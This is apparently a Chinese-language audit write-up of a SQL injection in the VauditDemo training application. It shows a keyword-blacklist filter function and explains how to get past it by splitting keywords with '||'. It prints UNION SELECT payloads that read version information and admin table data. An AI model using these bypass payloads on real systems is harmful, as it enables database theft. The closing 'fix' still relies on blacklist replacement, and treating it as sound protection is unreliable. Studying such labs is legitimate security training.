VauditDemo SQL数字型注入

什么是SQL注入

大局阅读:

sqlwaf()函数:

/* Maybe Bypass尝试绕过*/
function sqlwaf( $str ) {
    //str_ireplace 搜索,replaced with the given replace value
    $str = str_ireplace( "and", "sqlwaf", $str );
    $str = str_ireplace( "or", "sqlwaf", $str );
    $str = str_ireplace( "from", "sqlwaf", $str );
    $str = str_ireplace( "execute", "sqlwaf", $str );
    $str = str_ireplace( "update", "sqlwaf", $str );
    $str = str_ireplace( "count", "sqlwaf", $str );
    $str = str_ireplace( "chr", "sqlwaf", $str );
    $str = str_ireplace( "mid", "sqlwaf", $str );
    $str = str_ireplace( "char", "sqlwaf", $str );
    $str = str_ireplace( "union", "sqlwaf", $str );
    $str = str_ireplace( "select", "sqlwaf", $str );
    $str = str_ireplace( "delete", "sqlwaf", $str );
    $str = str_ireplace( "insert", "sqlwaf", $str );
    $str = str_ireplace( "limit", "sqlwaf", $str );
    $str = str_ireplace( "concat", "sqlwaf", $str );  //字符串统一替换为 sqlwaf
    $str = str_ireplace( "\\", "\\\\", $str );
    $str = str_ireplace( "&&", "", $str );
    $str = str_ireplace( "||", "", $str );  // sel||ect -> select
    $str = str_ireplace( "'", "", $str );   // ' -> /
    $str = str_ireplace( "%", "\%", $str );
    $str = str_ireplace( "_", "\_", $str );
    return $str;
}

使用sel||ect这种形式可以绕过sqlwaf函数。

搜索敏感参数:

正则搜索from(.*)= \$

搜到在user/messageDetail.php里

if ( !empty( $_GET['id'] ) ) {
    $id = sqlwaf( $_GET['id'] ); //通过get方式获取id参数,通过sqlwaf()函数进行过滤
    //$id = $_GET['id']; id =1 uni||on se||lect 1,2,3,4,5,6,7,8 fro||m admin
    $query = "SELECT * FROM comment WHERE comment_id = $id";

构造payload:

order by猜字段:

小技巧:

之前在Twitter刷到的一个小技巧:只需两步就可以猜到数据库某表的字段

  • 先大范围再小范围

照猫画虎一下:

发现确切字段是4。

之前试过手工注入一个大的数据库字段数很多,有100多,one by one 一个个增加到手软。。。。看来这技巧很实用。


MySQL 排序 order by 后面直接加列名或者列的序号 order by <column_one>, <column_two>;


union select 猜数据:

payload =1 uni||on se||lect 1,2,3,4 fr||om admin 经过sqlwaf过滤后为 1 union select 1,2,3,4 from admin

payload = 1 uni||on se||lect 1,version(),3,4 fr||om admin

payload = 1 uni||on se||lect *,4 fr||om admin

基于编写poc的payload: payload = 1 uni||on se||lect 1,md5(233),3,4 fr||om admin


修复

敏感字符串统一替换为 sqlwaf

/* Maybe Bypass尝试绕过*/
//字符串统一替换为 sqlwaf
function sqlwaf( $str ) {
    //str_ireplace 搜索,replaced with the given replace value
    $str = str_ireplace( "and", "sqlwaf", $str );
    $str = str_ireplace( "or", "sqlwaf", $str );
    $str = str_ireplace( "from", "sqlwaf", $str );
    $str = str_ireplace( "execute", "sqlwaf", $str );
    $str = str_ireplace( "update", "sqlwaf", $str );
    $str = str_ireplace( "count", "sqlwaf", $str );
    $str = str_ireplace( "chr", "sqlwaf", $str );
    $str = str_ireplace( "mid", "sqlwaf", $str );
    $str = str_ireplace( "char", "sqlwaf", $str );
    $str = str_ireplace( "union", "sqlwaf", $str );
    $str = str_ireplace( "select", "sqlwaf", $str );
    $str = str_ireplace( "delete", "sqlwaf", $str );
    $str = str_ireplace( "insert", "sqlwaf", $str );
    $str = str_ireplace( "limit", "sqlwaf", $str );
    $str = str_ireplace( "concat", "sqlwaf", $str );      $str = str_ireplace( "\\", "\\\\", $str );
    $str = str_ireplace( "&&", "sqlwaf", $str );
    $str = str_ireplace( "||", "sqlwaf", $str );  
    $str = str_ireplace( "'", "sqlwaf", $str );   
    $str = str_ireplace( "%", "\%", $str );
    $str = str_ireplace( "_", "\_", $str );
    return $str;
}

审计思路展示:

results matching ""

    No results matching ""